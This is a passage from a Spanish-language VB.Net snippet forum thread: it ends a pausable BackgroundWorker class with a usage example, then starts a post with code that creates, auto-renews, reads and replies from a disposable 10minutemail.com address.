  610.            Me.stateB = ElektroBackgroundWorkerState.Completed
  611.            MyBase.OnRunWorkerCompleted(e)
  612.        End Sub
  613.  
  614. #End Region
  615.  
  616. #Region " Hidden Base Members "
  617.  
  618.        ''' ----------------------------------------------------------------------------------------------------
  619.        ''' <summary>
  620.        ''' Starts execution of a background operation.
  621.        ''' </summary>
  622.        ''' ----------------------------------------------------------------------------------------------------
  623.        <EditorBrowsable(EditorBrowsableState.Never)>
  624.        <DebuggerStepThrough>
  625.        Public Overridable Shadows Sub RunWorkerAsync()
  626.            MyBase.RunWorkerAsync()
  627.        End Sub
  628.  
  629. #End Region
  630.  
  631. #Region " IDisposable Implementation "
  632.  
  633.        ''' ----------------------------------------------------------------------------------------------------
  634.        ''' <summary>
  635.        ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  636.        ''' <para></para>
  637.        ''' Releases unmanaged and, optionally, managed resources.
  638.        ''' </summary>
  639.        ''' ----------------------------------------------------------------------------------------------------
  640.        ''' <param name="isDisposing">
  641.        ''' <see langword="True"/> to release both managed and unmanaged resources;
  642.        ''' <see langword="False"/> to release only unmanaged resources.
  643.        ''' </param>
  644.        ''' ----------------------------------------------------------------------------------------------------
  645.        <DebuggerStepThrough>
  646.        Protected Overrides Sub Dispose(isDisposing As Boolean)
  647.            MyBase.Dispose(isDisposing)
  648.  
  649.            If (isDisposing) Then
  650.                Me.mreSync.SafeWaitHandle.Close()
  651.                Me.mreSync.SafeWaitHandle.Dispose()
  652.                Me.mreSync.Close()
  653.                Me.mreSync.Dispose()
  654.  
  655.                Me.mreAsync.SafeWaitHandle.Close()
  656.                Me.mreAsync.SafeWaitHandle.Dispose()
  657.                Me.mreAsync.Close()
  658.                Me.mreAsync.Dispose()
  659.  
  660.                Me.isRunSync = False
  661.                Me.stateB = ElektroBackgroundWorkerState.Stopped
  662.            End If
  663.  
  664.        End Sub
  665.  
  666. #End Region
  667.  
  668.    End Class
  669.  
  670. ' End Namespace
  671.  
  672. #End Region
  673.  

+

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-February-2018
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. ' Imports ElektroKit.Core.Threading.Types
  17.  
  18. #End Region
  19.  
  20. #Region " ElektroBackgroundWorker State "
  21.  
  22. ' Namespace Threading.Enums
  23.  
  24.    ''' ----------------------------------------------------------------------------------------------------
  25.    ''' <summary>
  26.    ''' Specifies the state of a <see cref="ElektroBackgroundWorker"/>.
  27.    ''' </summary>
  28.    ''' ----------------------------------------------------------------------------------------------------
  29.    Public Enum ElektroBackgroundWorkerState As Integer
  30.  
  31.        ''' <summary>
  32.        ''' The <see cref="ElektroBackgroundWorker"/> is stopped.
  33.        ''' </summary>
  34.        Stopped = 0
  35.  
  36.        ''' <summary>
  37.        ''' The <see cref="ElektroBackgroundWorker"/> is running.
  38.        ''' </summary>
  39.        Running = 1
  40.  
  41.        ''' <summary>
  42.        ''' The <see cref="ElektroBackgroundWorker"/> is paused.
  43.        ''' </summary>
  44.        Paused = 2
  45.  
  46.        ''' <summary>
  47.        ''' The <see cref="ElektroBackgroundWorker"/> is pending on a cancellation.
  48.        ''' </summary>
  49.        CancellationPending = 3
  50.  
  51.        ''' <summary>
  52.        ''' The <see cref="ElektroBackgroundWorker"/> is completed (stopped).
  53.        ''' </summary>
  54.        Completed = 4
  55.  
  56.    End Enum
  57.  
  58. ' End Namespace
  59.  
  60. #End Region
  61.  

Ejemplo de uso:

Código
  1. Friend WithEvents Worker As ElektroBackgroundWorker
  2.  
  3. Private Sub Button_Run_Click() Handles Button_Run.Click
  4.  
  5.    If (Me.Worker IsNot Nothing) Then
  6.  
  7.        Select Case Me.Worker.State
  8.            Case ElektroBackgroundWorkerState.Running, ElektroBackgroundWorkerState.Paused
  9.                Me.Worker.Cancel()
  10.            Case Else
  11.                ' Do Nothing.
  12.        End Select
  13.  
  14.    End If
  15.  
  16.    Me.Worker = New ElektroBackgroundWorker
  17.    Me.Worker.RunAsync()
  18.  
  19. End Sub
  20.  
  21. Private Sub Button_Pause_Click() Handles Button_Pause.Click
  22.    Me.Worker.RequestPause()
  23. End Sub
  24.  
  25. Private Sub Button_Resume_Click() Handles Button_Resume.Click
  26.    Me.Worker.Resume()
  27. End Sub
  28.  
  29. Private Sub Button_Cancel_Click() Handles Button_Cancel.Click
  30.    Me.Worker.Cancel()
  31. End Sub
  32.  
  33. ''' ----------------------------------------------------------------------------------------------------
  34. ''' <summary>
  35. ''' Handles the <see cref="ElektroBackgroundWorker.DoWork"/> event of the <see cref="Worker"/> instance.
  36. ''' </summary>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <param name="sender">
  39. ''' The source of the event.
  40. ''' </param>
  41. '''
  42. ''' <param name="e">
  43. ''' The <see cref="DoWorkEventArgs"/> instance containing the event data.
  44. ''' </param>
  45. ''' ----------------------------------------------------------------------------------------------------
  46. <DebuggerStepperBoundary>
  47. Private Sub Worker_DoWork(ByVal sender As Object, ByVal e As DoWorkEventArgs) _
  48. Handles Worker.DoWork
  49.  
  50.    Dim progress As Integer
  51.  
  52.    Dim lock As Object = ""
  53.    SyncLock lock
  54.  
  55.        For i As Integer = 0 To 100
  56.            If (Me.Worker.CancellationPending) Then ' Cancel the background operation.
  57.                e.Cancel = True
  58.                Exit For
  59.  
  60.            Else
  61.                If (Me.Worker.PausePending) Then ' Pause the background operation.
  62.                    Me.Worker.Pause() ' Blocking pause call.
  63.                End If
  64.  
  65.                Me.DoSomething()
  66.  
  67.                If Me.Worker.WorkerReportsProgress Then
  68.                    progress = i
  69.                    Me.Worker.ReportProgress(progress)
  70.                End If
  71.  
  72.            End If
  73.  
  74.        Next i
  75.  
  76.    End SyncLock
  77.  
  78.    If (Me.Worker.WorkerReportsProgress) AndAlso Not (Me.Worker.CancellationPending) AndAlso (progress < 100) Then
  79.        Me.Worker.ReportProgress(percentProgress:=100)
  80.    End If
  81.  
  82. End Sub
  83.  
  84. ''' ----------------------------------------------------------------------------------------------------
  85. ''' <summary>
  86. ''' Handles the <see cref="ElektroBackgroundWorker.ProgressChanged"/> event of the <see cref="Worker"/> instance.
  87. ''' </summary>
  88. ''' ----------------------------------------------------------------------------------------------------
  89. ''' <param name="sender">
  90. ''' The source of the event.
  91. ''' </param>
  92. '''
  93. ''' <param name="e">
  94. ''' The <see cref="ProgressChangedEventArgs"/> instance containing the event data.
  95. ''' </param>
  96. ''' ----------------------------------------------------------------------------------------------------
  97. <DebuggerStepperBoundary>
  98. Private Sub Worker_ProgressChanged(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) _
  99. Handles Worker.ProgressChanged
  100.  
  101.    Console.WriteLine(String.Format("Background Work Progress: {00}%", e.ProgressPercentage))
  102.  
  103. End Sub
  104.  
  105. ''' ----------------------------------------------------------------------------------------------------
  106. ''' <summary>
  107. ''' Handles the <see cref="ElektroBackgroundWorker.RunWorkerCompleted"/> event of the <see cref="Worker"/> instance.
  108. ''' </summary>
  109. ''' ----------------------------------------------------------------------------------------------------
  110. ''' <param name="sender">
  111. ''' The source of the event.
  112. ''' </param>
  113. '''
  114. ''' <param name="e">
  115. ''' The <see cref="RunWorkerCompletedEventArgs"/> instance containing the event data.
  116. ''' </param>
  117. ''' ----------------------------------------------------------------------------------------------------
  118. <DebuggerStepperBoundary>
  119. Private Sub Worker_RunWorkerCompleted(ByVal sender As Object, ByVal e As RunWorkerCompletedEventArgs) _
  120. Handles Worker.RunWorkerCompleted
  121.  
  122.    If (e.Cancelled) Then
  123.        Debug.WriteLine("Background work cancelled.")
  124.  
  125.    ElseIf (e.Error IsNot Nothing) Then
  126.        Debug.WriteLine("Background work error.")
  127.  
  128.    Else
  129.        Debug.WriteLine("Background work done.")
  130.  
  131.    End If
  132.  
  133.    Console.WriteLine(String.Format("State: {0}", Me.Worker.State.ToString()))
  134.  
  135. End Sub
  136.  
  137. <DebuggerStepperBoundary>
  138. Private Sub DoSomething()
  139.    Thread.Sleep(TimeSpan.FromSeconds(1))
  140. End Sub


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 12 Febrero 2018, 03:32 am
¿Cómo crear y administrar una cuenta de correo deshechable/temporal?.

El siguiente código que voy a mostrar sirve para crear una cuenta de correo temporal usando el servicio https://10minutemail.com/, leer e-mails entrantes, y responderlos.

Hasta donde han llegado mis análisis y experimentos todo parece indicar que funciona como es esperado. Si encuentran algún problema háganmelo saber para corregir el código.

LO BUENO:
  • Renovación automática del tiempo de vida de la dirección deshechable. Dicho de otro modo: la dirección de correo NO expira... hasta que se libere la instancia de clase.
  • Implementación thread-safe.
  • Implementación orientada a eventos.
  • Funcionalidad para obtener y leer los correos entrantes.
  • Funcionalidad para responder a correos entrantes usando la dirección de correo deshechable.
  • Simple, abstracto, es muy sencillo de usar.

LO MALO:
  • No añadí soporte para leer archivos adjuntos en los mails recibidos.
  • No añadí soporte para responder a un destinatario de un mail recibido.
  • 10minutemail.com es un servicio gratuito y por ende también limitado, solo permite crear alrededor de 3-5 direccioens e-mail por minuto y por IP.
    Sin embargo, probablemente esta limitación se podría bypassear usando proxies.



1.

Primero de todo he creado una interfaz con nombre IDisposableMail, la cual podremos rehutilizar en el futuro para representar cualquier otro servicio de correo temporal similar a https://10minutemail.com/. Evidentemente pueden extender la interfaz si lo desean.

Código
  1. #Region " Imports "
  2.  
  3. Imports System.Net.Mail
  4.  
  5. #End Region
  6.  
  7. #Region " IDisposableMail "
  8.  
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <summary>
  11. ''' Represents a disposable mail address.
  12. ''' </summary>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <remarks>
  15. ''' Wikipedia article: <see href="https://en.wikipedia.org/wiki/Disposable_email_address"/>
  16. ''' </remarks>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. Public Interface IDisposableMail
  19.  
  20. #Region " Events "
  21.  
  22.    ''' <summary>
  23.    ''' Occurs when a new inbox message arrived.
  24.    ''' </summary>
  25.    Event MailMessageArrived As EventHandler(Of MailMessageArrivedEventArgs)
  26.  
  27. #End Region
  28.  
  29. #Region " (Public) Methods "
  30.  
  31.    ''' <summary>
  32.    ''' Creates a new temporary mail address.
  33.    ''' </summary>
  34.    ''' <param name="updateInterval">
  35.    ''' The time interval to check for new incoming mail messages.
  36.    ''' </param>
  37.    Sub CreateNew(ByVal updateInterval As TimeSpan)
  38.  
  39.    ''' <summary>
  40.    ''' Renews the life-time for the current temporary mail address.
  41.    ''' </summary>
  42.    Sub Renew()
  43.  
  44. #End Region
  45.  
  46. #Region " (Private) Functions "
  47.  
  48.    ''' <summary>
  49.    ''' Gets the mail address.
  50.    ''' </summary>
  51.    ''' <returns>
  52.    ''' The mail address.
  53.    ''' </returns>
  54.    Function GetMailAddress() As MailAddress
  55.  
  56.    ''' <summary>
  57.    ''' Gets the inbox message count.
  58.    ''' </summary>
  59.    ''' <returns>
  60.    ''' The inbox message count.
  61.    ''' </returns>
  62.    Function GetMessageCount() As Integer
  63.  
  64.    ''' <summary>
  65.    ''' Gets the inbox messages.
  66.    ''' </summary>
  67.    ''' <returns>
  68.    ''' The inbox messages.
  69.    ''' </returns>
  70.    Function GetMessages() As IEnumerable(Of MailMessage)
  71.  
  72.    ''' <summary>
  73.    ''' Gets the time left to expire the current temporary mail address.
  74.    ''' </summary>
  75.    ''' <returns>
  76.    ''' The time left to expire the current temporary mail address.
  77.    ''' </returns>
  78.    Function GetExpirationTime() As TimeSpan
  79.  
  80. #End Region
  81.  
  82. End Interface
  83.  
  84. #End Region



2.

Para el evento IDisposableMail.MailMessageArrived creé la siguiente clase con nombre MailMessageArrivedEventArgs, la cual proveerá los datos del evento:

Código
  1. #Region " Imports "
  2.  
  3. Imports System.Net.Mail
  4. Imports System.Runtime.InteropServices
  5.  
  6. #End Region
  7.  
  8. #Region " MailMessageArrivedEventArgs "
  9.  
  10. ''' ----------------------------------------------------------------------------------------------------
  11. ''' <summary>
  12. ''' Represents the event data for the <see cref="IDisposableMail.MailMessageArrived"/> event.
  13. ''' </summary>
  14. ''' ----------------------------------------------------------------------------------------------------
  15. ''' <seealso cref="EventArgs" />
  16. ''' ----------------------------------------------------------------------------------------------------
  17. <ComVisible(True)>
  18. Public NotInheritable Class MailMessageArrivedEventArgs : Inherits EventArgs
  19.  
  20. #Region " Properties "
  21.  
  22.    ''' <summary>
  23.    ''' Gets the mail message.
  24.    ''' </summary>
  25.    ''' <value>
  26.    ''' The mail message.
  27.    ''' </value>
  28.    Public ReadOnly Property MailMessage As MailMessage
  29.  
  30. #End Region
  31.  
  32. #Region " Constructors "
  33.  
  34.    ''' <summary>
  35.    ''' Initializes a new instance of the <see cref="MailMessageArrivedEventArgs"/> class.
  36.    ''' </summary>
  37.    ''' <param name="msg">
  38.    ''' The mail message that arrived.
  39.    ''' </param>
  40.    Public Sub New(ByVal msg As MailMessage)
  41.        Me.MailMessage = msg
  42.    End Sub
  43.  
  44. #End Region
  45.  
  46. End Class
  47.  
  48. #End Region

3.

Seguidamente, extendí la clase WebClient para añadirle soporte para el uso de cookies, esto no es estrictamente necesario, la alternativa sería usar la clase HttpWeRequest y etc, pero de esta forma añadimos cierto nivel de abstracción adicional en la clase WebClient para poder utilizarla para este fin, y así podremos simplificar mucho el código necesario para escribir las solicitudes/requests al servicio de 10minutemail.com...

Código
  1. #Region " Imports "
  2.  
  3. Imports System.ComponentModel
  4. Imports System.Drawing
  5. Imports System.Net
  6. Imports System.Runtime.InteropServices
  7.  
  8. #End Region
  9.  
  10. #Region " ElektroWebClient "
  11.  
  12. ''' ----------------------------------------------------------------------------------------------------
  13. ''' <summary>
  14. ''' Represents a <see cref="WebClient"/> with support for cookies.
  15. ''' </summary>
  16. ''' ----------------------------------------------------------------------------------------------------
  17. ''' <remarks>
  18. ''' Original idea taken from: http://www.codingvision.net/tips-and-tricks/c-webclient-with-cookies
  19. ''' </remarks>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. <DisplayName("ElektroWebClient")>
  22. <Description("A extended WebClient component, with support for cookies.")>
  23. <DesignTimeVisible(False)>
  24. <DesignerCategory("Component")>
  25. <ToolboxBitmap(GetType(Component), "Component.bmp")>
  26. <ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Allow)>
  27. <ComVisible(True)>
  28. Public Class ElektroWebClient : Inherits WebClient
  29.  
  30. #Region " Properties "
  31.  
  32.    ''' <summary>
  33.    ''' Gets or sets a value indicating whether cookies are enabled.
  34.    ''' </summary>
  35.    ''' <value>
  36.    ''' <see langword="True"/> if cookies are enabled; otherwise, <see langword="False"/>.
  37.    ''' </value>
  38.    Public Property CookiesEnabled As Boolean
  39.  
  40.    ''' <summary>
  41.    ''' Gets the cookies.
  42.    ''' </summary>
  43.    ''' <value>
  44.    ''' The cookies.
  45.    ''' </value>
  46.    Public ReadOnly Property Cookies As CookieContainer
  47.        Get
  48.            Return Me.cookiesB
  49.        End Get
  50.    End Property
  51.    ''' <summary>
  52.    ''' (Backing field)
  53.    ''' <para></para>
  54.    ''' The cookies.
  55.    ''' </summary>
  56.    Private cookiesB As CookieContainer
  57.  
  58. #End Region
  59.  
  60. #Region " Constructors "
  61.  
  62.    ''' <summary>
  63.    ''' Initializes a new instance of the <see cref="ElektroWebClient"/> class.
  64.    ''' </summary>
  65.    Public Sub New()
  66.        MyBase.New()
  67.    End Sub
  68.  
  69. #End Region
  70.  
  71. #Region " Inherited Methods "
  72.  
  73.    ''' <summary>
  74.    ''' Returns a <see cref="WebRequest"/> object for the specified resource.
  75.    ''' </summary>
  76.    ''' <param name="address">
  77.    ''' A <see cref="Uri"/> that identifies the resource to request.
  78.    ''' </param>
  79.    ''' <returns>
  80.    ''' A new <see cref="WebRequest"/> object for the specified resource.
  81.    ''' </returns>
  82.    Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest
  83.        If Not (Me.CookiesEnabled) Then
  84.            Return MyBase.GetWebRequest(address)
  85.        End If
  86.  
  87.        Dim request As WebRequest = MyBase.GetWebRequest(address)
  88.        If (TypeOf request Is HttpWebRequest) Then
  89.            If (Me.cookiesB Is Nothing) Then
  90.                Me.cookiesB = New CookieContainer()
  91.            End If
  92.            DirectCast(request, HttpWebRequest).CookieContainer = Me.cookiesB
  93.        End If
  94.        Return request
  95.    End Function
  96.  
  97. #End Region
  98.  
  99. End Class
  100.  
  101. #End Region



4.

Esta es la última pieza de toda esta implementación, una clase con nombre TenMinuteMail que nos servirá para representar y administrar el correo deshechable...

Código
  1. #Region " Imports "
  2.  
  3. Imports System.Diagnostics.CodeAnalysis
  4. Imports System.Linq
  5. Imports System.Net
  6. Imports System.Net.Mail
  7. Imports System.Runtime.Serialization.Json
  8. Imports System.Text
  9. Imports System.Threading
  10. Imports System.Web
  11. Imports System.Xml
  12.  
  13. #End Region
  14.  
  15. #Region " TenMinuteMail "
  16.  
  17. ''' ----------------------------------------------------------------------------------------------------
  18. ''' <summary>
  19. ''' Creates and manages a temporary mail address using the https://10minutemail.com/ service.
  20. ''' <para></para>
  21. ''' Be aware the mail address will expire in approx. 10 minutes after calling the <see cref="TenMinuteMail.Dispose()"/> method.
  22. ''' </summary>
  23. ''' ----------------------------------------------------------------------------------------------------
  24. ''' <seealso cref="IDisposableMail"/>
  25. ''' <seealso cref="IDisposable"/>
  26. ''' ----------------------------------------------------------------------------------------------------
  27. Public Class TenMinuteMail : Implements IDisposableMail, IDisposable
  28.  
  29. #Region " Properties "
  30.  
  31.    ''' <summary>
  32.    ''' Gets the mail address.
  33.    ''' </summary>
  34.    ''' <value>
  35.    ''' The mail address.
  36.    ''' </value>
  37.    Public ReadOnly Property MailAddress As MailAddress
  38.        Get
  39.            Return Me.mailAddressB
  40.        End Get
  41.    End Property
  42.    ''' <summary>
  43.    ''' (Backing field) The current mail address.
  44.    ''' </summary>
  45.    Private mailAddressB As MailAddress
  46.  
  47.    ''' <summary>
  48.    ''' Gets the message count.
  49.    ''' </summary>
  50.    ''' <value>
  51.    ''' The message count.
  52.    ''' </value>
  53.    Public ReadOnly Property MessageCount As Integer
  54.        Get
  55.            Return Me.GetMessageCount()
  56.        End Get
  57.    End Property
  58.  
  59.    ''' <summary>
  60.    ''' Gets the inbox messages.
  61.    ''' </summary>
  62.    ''' <value>
  63.    ''' The inbox messages.
  64.    ''' </value>
  65.    Public Overridable ReadOnly Property Messages As IEnumerable(Of MailMessage)
  66.        Get
  67.            Return Me.GetMessages()
  68.        End Get
  69.    End Property
  70.  
  71.    ''' <summary>
  72.    ''' Gets the inbox message with the specified message id.
  73.    ''' </summary>
  74.    ''' <param name="id">
  75.    ''' The message id.
  76.    ''' </param>
  77.    ''' <value>
  78.    ''' The inbox message with the specified message id.
  79.    ''' </value>
  80.    Public Overridable ReadOnly Property Messages(ByVal id As String) As MailMessage
  81.        Get
  82.            Return Me.GetMessage(id)
  83.        End Get
  84.    End Property
  85.  
  86.    ''' <summary>
  87.    ''' Gets a value indicating whether the temporary mail service is blocked.
  88.    ''' <para></para>
  89.    ''' If <see langword="True"/>,
  90.    ''' this means you have requested too many temporary mail addresses from your IP address too quickly.
  91.    ''' <para></para>
  92.    ''' And you must wait some minutes to be able use 10minutemail.com service again.
  93.    ''' </summary>
  94.    ''' <value>
  95.    ''' If <see langword="True"/>,
  96.    ''' this means you have requested too many temporary mail addresses from your IP address too quickly.
  97.    ''' <para></para>
  98.    ''' And you must wait some minutes to be able use 10minutemail.com service again.; otherwise, <see langword="False"/>.
  99.    ''' </value>
  100.    Public ReadOnly Property IsBlocked As Boolean
  101.        Get
  102.            If Not (Me.isBlockedB) Then
  103.                Me.isBlockedB = Me.GetIsBlocked()
  104.            End If
  105.            Return isBlockedB
  106.        End Get
  107.    End Property
  108.    ''' <summary>
  109.    ''' ( Backing field)
  110.    ''' <para></para>
  111.    ''' Gets a value indicating whether the temporary mail service is blocked.
  112.    ''' <para></para>
  113.    ''' If <see langword="True"/>,
  114.    ''' this means you have requested too many temporary mail addresses from your IP address too quickly.
  115.    ''' <para></para>
  116.    ''' And you must wait some minutes to be able use 10minutemail.com service again.
  117.    ''' </summary>
  118.    Private isBlockedB As Boolean
  119.  
  120. #End Region
  121.  
  122. #Region " Fields "
  123.  
  124. #Region " Common "
  125.  
  126.    ''' <summary>
  127.    ''' The <see cref="ElektroWebClient"/> instance that manage cookies and requests to https://10minutemail.com/.
  128.    ''' </summary>
  129.    Protected Client As ElektroWebClient
  130.  
  131.    ''' <summary>
  132.    ''' A <see cref="Timer"/> instance that will renew the life-time of the temporary mail address,
  133.    ''' and check for new incoming mail messages.
  134.    ''' </summary>
  135.    Protected TimerUpdate As Timer
  136.  
  137.    ''' <summary>
  138.    ''' A counter to keep track of the current mail message count, and so detect new incoming mail messages.
  139.    ''' </summary>
  140.    Private messageCounter As Integer
  141.  
  142. #End Region
  143.  
  144. #Region " Uris "
  145.  
  146.    ''' <summary>
  147.    ''' The Uri that points to the main site.
  148.    ''' </summary>
  149.    Protected uriBase As Uri
  150.  
  151.    ''' <summary>
  152.    ''' The Uri that points to the address resource.
  153.    ''' </summary>
  154.    Protected uriAddress As Uri
  155.  
  156.    ''' <summary>
  157.    ''' The Uri that points to the blocked resource.
  158.    ''' </summary>
  159.    Protected uriBlocked As Uri
  160.  
  161.    ''' <summary>
  162.    ''' The Uri that points to the messagecount resource.
  163.    ''' </summary>
  164.    Protected uriMessageCount As Uri
  165.  
  166.    ''' <summary>
  167.    ''' The Uri that points to the messages resource.
  168.    ''' </summary>
  169.    Protected uriMessages As Uri
  170.  
  171.    ''' <summary>
  172.    ''' The Uri that points to the reply resource.
  173.    ''' </summary>
  174.    Protected uriReply As Uri
  175.  
  176.    ''' <summary>
  177.    ''' The Uri that points to the reset resource.
  178.    ''' </summary>
  179.    Protected uriReset As Uri
  180.  
  181.    ''' <summary>
  182.    ''' The Uri that points to the secondsleft resource.
  183.    ''' </summary>
  184.    Protected uriSecondsLeft As Uri
  185.  
  186. #End Region
  187.  
  188. #End Region
  189.  
  190. #Region " Events "
  191.  
  192.    ''' <summary>
  193.    ''' Occurs when a new inbox message arrived.
  194.    ''' </summary>
  195.    Public Event MailMessageArrived As EventHandler(Of MailMessageArrivedEventArgs) Implements IDisposableMail.MailMessageArrived
  196.  
  197. #End Region
  198.  
  199. #Region " Constructors "
  200.  
  201.    ''' <summary>
  202.    ''' Initializes a new instance of the <see cref="TenMinuteMail"/> class.
  203.    ''' </summary>
  204.    <DebuggerStepThrough>
  205.    Public Sub New()
  206.        Me.New(TimeSpan.FromSeconds(10))
  207.    End Sub
  208.  
  209.    ''' <summary>
  210.    ''' Initializes a new instance of the <see cref="TenMinuteMail"/> class.
  211.    ''' </summary>
  212.    ''' <param name="updateInterval">
  213.    ''' The time interval to check for new incoming messages.
  214.    ''' <para></para>
  215.    ''' Be aware that 10minutemail.com server's update interval are 10 seconds by default.
  216.    ''' </param>
  217.    ''' <exception cref="ArgumentException">
  218.    ''' Update interval must be in range between 10 to 60 seconds. - updateInterval
  219.    ''' </exception>
  220.    <SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors", Justification:="Don't panic")>
  221.    <DebuggerStepThrough>
  222.    Public Sub New(ByVal updateInterval As TimeSpan)
  223.        Me.uriBase = New Uri("https://10minutemail.com/")
  224.        Me.uriAddress = New Uri(Me.uriBase, "/10MinuteMail/resources/session/address")
  225.        Me.uriBlocked = New Uri(Me.uriBase, "/10MinuteMail/resources/session/blocked")
  226.        Me.uriMessageCount = New Uri(Me.uriBase, "/10MinuteMail/resources/messages/messageCount")
  227.        Me.uriMessages = New Uri(Me.uriBase, "/10MinuteMail/resources/messages")
  228.        Me.uriReply = New Uri(Me.uriBase, "/10MinuteMail/resources/messages/reply")
  229.        Me.uriReset = New Uri(Me.uriBase, "/10MinuteMail/resources/session/reset")
  230.        Me.uriSecondsLeft = New Uri(Me.uriBase, "/10MinuteMail/resources/session/secondsLeft")
  231.  
  232.        Me.CreateNew(updateInterval)
  233.    End Sub
  234.  
  235. #End Region
  236.  
  237. #Region " Public Methods "
  238.  
  239.    ''' <summary>
  240.    ''' Creates a new temporary mail address.
  241.    ''' </summary>
  242.    ''' <param name="updateInterval">
  243.    ''' The time interval to check for new incoming messages.
  244.    ''' <para></para>
  245.    ''' Be aware that 10minutemail.com server's update interval are 10 seconds by default.
  246.    ''' </param>
  247.    ''' <exception cref="ArgumentException">
  248.    ''' Update interval must be in range between 10 to 60 seconds. - updateInterval
  249.    ''' </exception>
  250.    <DebuggerStepThrough>
  251.    Public Overridable Sub CreateNew(ByVal updateInterval As TimeSpan) Implements IDisposableMail.CreateNew
  252.        Dim totalMilliseconds As Integer = Convert.ToInt32(updateInterval.TotalMilliseconds)
  253.  
  254.        Select Case totalMilliseconds
  255.            Case Is < 10000 ' 10 seconds.
  256.                Throw New ArgumentException("Update interval must be in range between 10 to 60 seconds.", "updateInterval")
  257.  
  258.            Case Is > 60000 ' 1 minute.
  259.                Throw New ArgumentException("Update interval must be in range between 10 to 60 seconds.", "updateInterval")
  260.  
  261.            Case Else
  262.                If (Me.TimerUpdate IsNot Nothing) Then
  263.                    Me.TimerUpdate.Change(Timeout.Infinite, Timeout.Infinite)
  264.                End If
  265.  
  266.                If (Me.Client IsNot Nothing) Then
  267.                    Me.Client.Dispose()
  268.                    Me.Client = Nothing
  269.                End If
  270.  
  271.                Me.isBlockedB = False
  272.                Me.mailAddressB = Nothing
  273.                Me.messageCounter = 0
  274.  
  275.                Me.Client = New ElektroWebClient() With {.CookiesEnabled = True, .Encoding = Encoding.UTF8}
  276.                Me.mailAddressB = Me.GetMailAddress()
  277.                Me.TimerUpdate = New Timer(AddressOf Me.UpdateTimer_CallBack, Me, totalMilliseconds, totalMilliseconds)
  278.  
  279.        End Select
  280.    End Sub
  281.  
  282.    ''' <summary>
  283.    ''' Replies to a <see cref="MailMessage"/> with the specified message id.
  284.    ''' </summary>
  285.    ''' <param name="msgId">
  286.    ''' The message id of the <see cref="MailMessage"/>.
  287.    ''' </param>
  288.    '''
  289.    ''' <param name="body">
  290.    ''' The body.
  291.    ''' </param>
  292.    Public Overridable Sub Reply(ByVal msgId As String, ByVal body As String)
  293.        Me.Reply(Me.Messages(msgId), body)
  294.    End Sub
  295.  
  296.    ''' <summary>
  297.    ''' Replies to the specified <see cref="MailMessage"/>.
  298.    ''' </summary>
  299.    ''' <param name="msg">
  300.    ''' The <see cref="MailMessage"/>.
  301.    ''' </param>
  302.    '''
  303.    ''' <param name="body">
  304.    ''' The body.
  305.    ''' </param>
  306.    Public Overridable Sub Reply(ByVal msg As MailMessage, ByVal body As String)
  307.  
  308.        Dim msgId As String = msg.Headers.Item("msgId")
  309.        Dim parameters As String = String.Format("messageId={0}&replyBody=""{1}""", msgId, HttpUtility.UrlEncode(body))
  310.  
  311.        Dim result As String
  312.        SyncLock (Me.Client)
  313.            Me.Client.Headers(HttpRequestHeader.ContentType) = "application/x-www-form-urlencoded"
  314.            result = Me.Client.UploadString(Me.uriReply, "POST", parameters)
  315.            Me.Client.Headers.Remove(HttpRequestHeader.ContentType)
  316.        End SyncLock
  317.  
  318.        ' ToDo: need to improve...
  319.        If Not String.IsNullOrEmpty(result) Then
  320.            ' ...
  321.        End If
  322.  
  323.    End Sub
  324.  
  325. #End Region
  326.  
  327. #Region " Private/Protected Methods "
  328.  
  329.    ''' <summary>
  330.    ''' Gets the mail address.
  331.    ''' </summary>
  332.    ''' <returns>
  333.    ''' The mail address.
  334.    ''' </returns>
  335.    ''' <exception cref="WebException">
  336.    ''' You have requested too many temporary mail addresses from your IP address too quickly.
  337.    ''' Please wait some minutes and try again.
  338.    ''' </exception>
  339.    <DebuggerStepThrough>
  340.    Protected Overridable Function GetMailAddress() As MailAddress Implements IDisposableMail.GetMailAddress
  341.        If (Me.IsBlocked) Then
  342.            Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
  343.        End If
  344.  
  345.        If (Me.mailAddressB Is Nothing) Then
  346.            SyncLock (Me.Client)
  347.                Dim value As String = Me.Client.DownloadString(Me.uriAddress)
  348.                Me.mailAddressB = New MailAddress(value, "TenMinuteMail", Encoding.Default)
  349.            End SyncLock
  350.        End If
  351.  
  352.        Return Me.mailAddressB
  353.    End Function
  354.  
  355.    ''' <summary>
  356.    ''' Gets the inbox message count.
  357.    ''' </summary>
  358.    ''' <returns>
  359.    ''' The inbox message count.
  360.    ''' </returns>
  361.    ''' <exception cref="WebException">
  362.    ''' You have requested too many temporary mail addresses from your IP address too quickly.
  363.    ''' Please wait some minutes and try again.
  364.    ''' </exception>
  365.    <DebuggerStepThrough>
  366.    Protected Overridable Function GetMessageCount() As Integer Implements IDisposableMail.GetMessageCount
  367.        If (Me.IsBlocked) Then
  368.            Throw New WebException("You have requested too many temporary mail addresses from your IP address too quickly. Please wait some minutes and try again.")
  369.        End If
  370.  
  371.        SyncLock (Me.Client)
  372.            Dim value As String = Me.Client.DownloadString(Me.uriMessageCount)
  373.            Return Convert.ToInt32(value)
  374.        End SyncLock
  375.    End Function
  376.  
  377.    ''' <summary>
  378.    ''' Gets the inbox message with the specified message id.
  379.    ''' </summary>
  380.    ''' <param name="id">
  381.    ''' The message id.
  382.    ''' </param>
  383.    ''' <returns>
  384.    ''' The inbox message with the specified message id.
  385.    ''' </returns>
  386.    ''' <exception cref="WebException">
  387.    ''' You have requested too many temporary mail addresses from your IP address too quickly.
  388.    ''' Please wait some minutes and try again.
  389.    ''' </exception>
